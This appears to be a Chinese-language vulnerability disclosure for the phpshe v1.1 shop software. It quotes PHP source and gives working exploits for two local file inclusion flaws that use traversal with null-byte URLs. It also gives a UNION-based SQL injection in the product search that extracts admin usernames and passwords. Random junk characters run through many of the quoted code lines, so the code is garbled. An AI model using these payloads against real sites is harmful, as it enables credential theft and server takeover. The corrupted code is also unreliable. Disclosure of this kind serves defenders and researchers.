phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
2 ~' d2 S  w/ @# K9 A+ ~6 ]/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
) P& Q! ^) G8 S0 i9 }' Y; F1 ?, R+ D!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
$ `! H  I. `) X8 B/ Q1 f2 x!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
0 n5 s7 ~1 ]1 j# qsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
7 {4 S0 t( F4 l4 m( s!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

) M- J' Q. Q: s2 |" ?* k+ a, [0×01 包含漏洞


" _2 @. \! P" Z5 Z. m) I//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
8 ^& B6 ~5 y; h$ E2 `  yinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
$ _6 R9 e7 _6 [5 V?>
//common 文件 第15行开始
; M5 k7 v3 k' B. |: f3 z1 f& S. Wurl路由配置
+ {/ [& w; ]3 \0 i$module = $mod = $act = 'index';
- F5 x) v6 A" ^: }) U$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ K! c1 N$ }3 r6 n* b$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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# Q1 w; ~' y) I+ C! [ 0×02 搜索注入

<code id="code2">

//product.php文件
; I. X+ P: [3 Jcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
% N: T' w; M9 J! F  n+ _}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ l& F; L6 p; Dif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
& ~+ h: f/ D+ {$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
% J0 A: T/ u- w7 u& Gelse {
8 w7 ^- L  C' P5 i0 d0 G. J$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
+ S% J1 X" {; j//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
% E" w5 l) k2 h7 s5 I//跟进selectall函数库
4 ^# U  g7 k9 S! Cpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
  ?) f# J" ]! S/ L5 w3 Y$ s{
//处理条件语句
3 `- g: g: _7 d. q4 Y' b$sqlwhere = $this->_dowhere($where);
+ R" y/ {" F8 v( Ireturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
! ?7 i4 ~" S; Q}
4 |; X* K0 i3 e* F: ]; h//exp
( ^* w$ |" \4 h0 @- B2 Mproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

0×03 包含漏洞2
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) \! [! t/ L6 d& u/ A<code id="code3">

//order.php

case 'pay':

4 k; m- d5 X8 h$order_id = pe_dbhold($_g_id);

( H* T; r& x- r8 e  \$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

7 h) |( E$ o4 @# Sif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

9 A- v1 O  V9 H}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

+ Q+ ?# A4 b( V( O& M/ l+ b# {!$order['order_id'] && pe_error('订单号错误...');

: D# |$ @" o( j' hif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

& {$ ~1 a* j4 B1 i. T% I}

) C, o% ]0 t; m2 c$ lecho '正在为您连接支付网站，请稍后...';

# e& ^( u2 J7 r+ _include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

9 r, r7 Z, m1 X; Q1 y" P" Belse {

pe_error('支付错误...');

2 J6 B; Z! O4 S6 a}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>